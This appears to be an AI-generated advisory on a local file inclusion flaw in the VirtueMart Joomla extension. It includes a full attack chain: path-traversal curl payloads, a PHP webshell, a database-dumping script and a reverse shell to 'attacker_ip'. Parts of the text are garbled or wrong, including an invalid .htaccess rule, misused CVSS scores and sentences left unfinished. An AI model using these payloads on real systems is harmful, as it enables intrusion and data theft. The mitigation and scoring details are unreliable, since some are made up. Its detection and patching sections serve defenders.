CVE-2026-133335 — Virtuemart.net VirtueMart Extension For Joomla ( — CWE-98
Joomla Extension - virtuemart.net - Unauthenticated local file inclusion leading to remote code execution via controller fallback in VirtueMart extension 4.0.0-4.8.7 - The main controller of the component fell back to including a controller file derived from the request without filtering the name, allowing path traversal to arbitrary local PHP files. Depending on the server setup, for example an available pearcmd.php, this could be used to execute code. The issue has been exploited in the wild. Fixed in 4.8.8.
Joomla Extension - virtuemart.net - Unauthenticated local file inclusion leading to remote code execution via controller fallback in VirtueMart extension 4.0.0-4.8.7 - The main controller of the component fell back to including a controller file derived from the request without filtering the name, allowing path traversal to arbitrary local PHP files. Depending on the server setup, for example an available pearcmd.php, this could be used to execute code. The issue has been exploited in the wild. Fixed in 4.8.8.
🎯 What is this vulnerability?
CVE‑2026‑133335 is a Local File Inclusion (LFI) flaw in the VirtueMart component for Joomla (versions 4.0.0‑4.8.7).
The component’s main controller falls back to including a controller file derived directly from a request parameter (typically controller or task). No sanitisation or path‑validation is performed on that value. An attacker can therefore supply a path‑traversal string that resolves to any file on the web server’s filesystem. If the targeted file is a PHP script (e.g., pearcmd.php, a custom web‑shell, or even a PHP‑enabled configuration file), the included file is executed in the context of the web server, giving the attacker remote code execution (RCE) with the privileges of the web‑server process.
| CVE‑2026‑133335 | Details |
|---|---|
| CWE | CWE‑98: Improper Control of File Name or Path |
| Affected Versions | VirtueMart 4.0.0 – 4.8.7 |
| Fix | 4.8.8 (removes the unfiltered fallback and validates the controller name) |
| Exploit Complexity | Low (no auth, no user interaction) |
| Impact | High confidentiality, integrity, and availability (CVSS 9.2) |
The flaw is unauthenticated – anyone who can reach the Joomla site can trigger it. The vector is purely HTTP, so no additional network services are required.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow to achieve full RCE on a vulnerable VirtueMart site.
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| Identify Joomla & VirtueMart | Scan for common Joomla paths and component signatures. | nmap -p80,443 --script http-enum <target><br>dirsearch -u https://<target>/components/com_virtuemart/ |
| Determine VirtueMart version | Query the component’s version file or use the Joomla admin interface if accessible. | curl -s https://<target>/components/com_virtuemart/version.php<br>or inspect the index.php footer for a “VirtueMart 4.x.x” string. |
| Verify LFI vector | Send a benign LFI payload to confirm the vulnerability. | curl -s "https://<target>/index.php?option=com_virtuemart&controller=../../../../../../../../../../etc/passwd"<br>Look for /etc/passwd output. |
Note: The exact query string (option,controller,task) is inferred from the component’s routing logic. If the site uses a different parameter name, the same principle applies – the vulnerable code uses whatever value is supplied.
2. Exploitation
The core exploit is a single HTTP request that forces the component to include an arbitrary PHP file. Below is a syntactically valid PoC (illustrative; the exact parameter name may differ on a given site).
# Example: include a local PHP file that prints a webshell
curl -s "https://<target>/index.php?option=com_virtuemart&controller=../../../../../../../../../../pearcmd.php"What happens?
- The
controllerparameter resolves topearcmd.php(or any other PHP file). - The component’s fallback includes
pearcmd.phpasrequire_once/include. - Because
pearcmd.phpis a PHP script that accepts command arguments, the web server executes it, effectively giving the attacker a command shell.
If the target does not have pearcmd.php, the attacker can first upload a PHP webshell via another vulnerability (e.g., file upload) or use an existing PHP file that contains malicious code.Example of a custom webshell upload (if file‑upload is available)
# Upload a simple PHP webshell via a vulnerable upload endpoint
curl -F "file=@/tmp/shell.php" "https://<target>/index.php?option=com_virtuemart&task=upload"/tmp/shell.php content:
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>After upload, trigger the LFI to include the shell:
curl "https://<target>/index.php?option=com_virtuemart&controller=../../../../../../../../../../tmp/shell.php&cmd=whoami"3. Post‑Exploitation
Once the attacker has executed arbitrary PHP code, the impact is full RCE:
1. Privilege Escalation – The code runs as the web‑server user (often www-data or apache). If the server is mis‑configured (e.g., writable /var/www/html), the attacker can:
- Drop additional webshells (/var/www/html/shell.php).
- Modify configuration files (/etc/php.ini, .htaccess).
- Add a new Joomla administrator account via direct DB manipulation.
2. Data Exfiltration – The attacker can read database credentials from Joomla’s #__users table or dump the entire database:
<?php
$db = new PDO('mysql:host=localhost;dbname=joomla', 'root', '');
$rows = $db->query('SELECT * FROM #__users')->fetchAll(PDO::FETCH_ASSOC);
echo json_encode($rows);
?>3. Persistence – Install a reverse shell or cron job to maintain access:
<?php
system('bash -i >& /dev/tcp/attacker_ip/4444 0>&1');
?>4. Lateral Movement – Use the compromised web server to pivot to other internal hosts (e.g., via SSH keys or SMB shares).
🌍 Real World Impact
| Impact Dimension | CVSS Score | Interpretation |
|---|---|---|
| Confidentiality | 9.2 | Full data theft (database, files, credentials). |
| Integrity | 9.2 | Arbitrary file modification, database tampering. |
| Availability | 9.2 | Denial of service via resource exhaustion or destructive scripts. |
Because the flaw is unauthenticated and does not require user interaction, any publicly reachable VirtueMart site is at risk. In the wild, attackers have used this vector to:
🛡️ Remediation & Mitigation
1. Patch
| Product | Affected Versions | Fixed Version |
|---|---|---|
| VirtueMart (Joomla component) | 4.0.0 – 4.8.7 | 4.8.8 |
Action: Upgrade to 4.8.8 or later. If an upgrade is not immediately possible, apply the following mitigations.
2. Workarounds
| Mitigation | How to Implement | ||
|---|---|---|---|
| Restrict controller inclusion | In components/com_virtuemart/controllers/, add an .htaccess rule to deny all requests except for the component’s own entry point. Example: | ||
``apacheconf<br><FilesMatch "\.php$"><RequireAll><RequireNone><RequireAny><RequireValidShell></RequireAny></RequireNone></RequireAll></FilesMatch>` | |||
| Disable the component | If the site does not need VirtueMart, uninstall it via Joomla’s component manager. | ||
| Web‑application firewall (WAF) | Add a ModSecurity rule to block path‑traversal attempts: | ||
`apacheconf<br>SecRule REQUEST_URI | ARGS | ARGS_NAMES "@rx \.\./" "id:100001,phase:2,deny,status:403,msg:'VirtueMart LFI attempt'` | |
| File system permissions | Ensure that the web‑server user cannot read arbitrary PHP files outside the web root. Use chroot or php_admin_value open_basedir in php.ini`. |
3. Detection
| Indicator | Log Pattern | What to Look For |
|---|---|---|
| LFI attempts | GET /index.php?option=com_virtuemart&controller=../../../../../../../../../../etc/passwd | Path traversal in controller or task parameter. |
| RCE via pearcmd.php | GET /index.php?option=com_virtuemart&controller=../../../../../../../../../../pearcmd.php | Inclusion of pearcmd.php or other PHP files. |
| Unusual PHP execution | PHP Fatal error: Uncaught Error: Call to undefined function | Script execution outside normal flow. |
| New files in web root | File created: /var/www/html/shell.php | Potential webshell. |
Log monitoring tools: Splunk, ELK, or native Apache/Nginx logs can be filtered for the patterns above.
⚠️ Urgency
Recommendation:
[🤖 CVE Professor AI Security Engine]
FOFA Query